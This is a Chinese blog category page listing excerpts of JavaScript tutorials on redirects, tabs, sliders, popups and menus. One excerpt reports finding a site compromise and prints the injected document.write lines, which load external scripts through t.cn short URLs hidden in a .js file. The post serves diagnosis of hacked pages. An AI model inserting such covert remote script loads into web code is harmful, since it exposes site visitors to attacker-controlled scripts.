Javascript | 速光网络博客

PC站自动跳转移动端

<meta http-equiv="mobile-agent" content="format=xhtml;url=/m/index.html"> <script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amo...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

短网址挂马技术

某网站正在做百度推广，由于现在百度查的严格，检查页面指向含有ccymf.com 链接地址，打开该网址发现是登录页面但在网站整站的代码里搜索也没有找到，最后在 .js文件中找到两处 document.write("<script type=\"text/javascript\" src=\"http://t.cn/R4lyzeo\"></script>"); document.write("<script type=\"text/javascript\" src=\"http://t.cn/R4lqMAu\"></scrip...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

js实现页面加载时模拟点击

<script> function load(){ //下面两种方法效果是一样的 document.getElementById("li_register_type_email").click(); document.getElementById("li_register_type_email").onclick(); //只有单击按钮时才会实现点击 } function test(){ alert("test"); } </script> <body onload="load()"> <button id="li_register_type_em...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

背景平铺

<!DOCTYPE html> <html > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>背景平铺</title> <style> #beijing{z-index:-999;display:block;position:absolute;top:0} </style> <script> beijing.style.height=document.documentElement.clientHeight+10+"px"; </script> </head>...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

js选项卡

方法一： <li id="tab1" onClick="show(1)" style="background-color:green">选项1</li> <li id="tab2" onClick="show(2)">选项2</li> <p id="p1">选项卡1的内容。。。</p> <p id="p2" style="display:none">选项卡2的内容。。。</p> <script> function show(n){ for(var i=1;i<=2;i++){ //先把所有的选项卡背景颜色设为橙色，内...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

document.body.clientHeight的取值

有时候需要取页面的底部, 就会用到document.body.clientHeight , 在HTML 标准中(这一句就能取到整个页面的高度, 不论body 的实际内容到底有多高, 例如, 1074*768 的分辨率, 页面最大化时, 这个高度约为720 , 即使页面上只有一句"hello world" , 也仍然取到720. 可是在XHTML中, 如果body 体中只有一行, 则document.body.clientHeight 只能取到那一行的高度, 约20px, 这时如何还想取到整个页...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

非常大气的全屏幻灯效果

 <div id="header1"> <div class="main_visual"> <div class="flicking_con"><div class="flicking_inner"> <a class="" href="#">1</a> <a class="" href="#">2</a> <a class="on" href="#">3</a> </div></div> <div class="main_image"> <ul style="width: 1423px; overfl...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

js在线弹窗

在线弹窗，用于在线报名、在线客服、事件通知，在网站是非常实用的，下面是小编写的实例，如图：写完后通过http://tool.chinaz.com/Tools/Html_Js.aspx 将HTML转JS代码，用于外链，在调用<script type=text/javascript src=""></script>. 写了几个小时，一个弹窗关闭的小问题，关键要getElementById("doyoo_monitor")；找到主弹窗的ID。关键窗口代码： function far_...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

点击栏目后变色

鼠标点击后栏目变色，需要做JS做判断，根据ID值，还有网站的访问地址，||代表或，两个域名访问时都会有相同的效果。方法如下： <title>点击栏目后变色</title> <link href="./img/index.css" type="text/css" rel="stylesheet" /> </head> <body bgcolor="#111">  <div id="header"> <div><img src="img/banner.png" alt="...阅读全文

作者：admin | 分类：Javascript | 阅读： |
1条评论

滑动下拉导航菜单

这个是由JS实现的，非常简洁，大家一看就能懂。 <title>滑动下拉导航菜单</title> <style> body{background-color: black;} *{list-style:none; text-decoration:none; margin:0;padding:0;} .nav{width:980px; margin:0 auto; background:url(nav.png) repeat-x;} .nav_1{height:40px; line-height:40px; display:block;} .nav_1 li{float:left; width:105px; text-alig...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发

推荐两款JS写的带按钮的图片滚动效果

<html > <head> <meta http-equiv="Content-Type" content="text/html; charset=GBK"> <style type="text/css"> body { position:relative; margin:0; padding:55px 0 0 0; } </style> <title>带左右箭头切换的自动滚动图片JS特效</title> <style type="text/css"> <!-- .rollBox { width:704px; overflow:hidden; padding:12px 0 5px ...阅读全文

作者：admin | 分类：Javascript | 阅读： |
抢沙发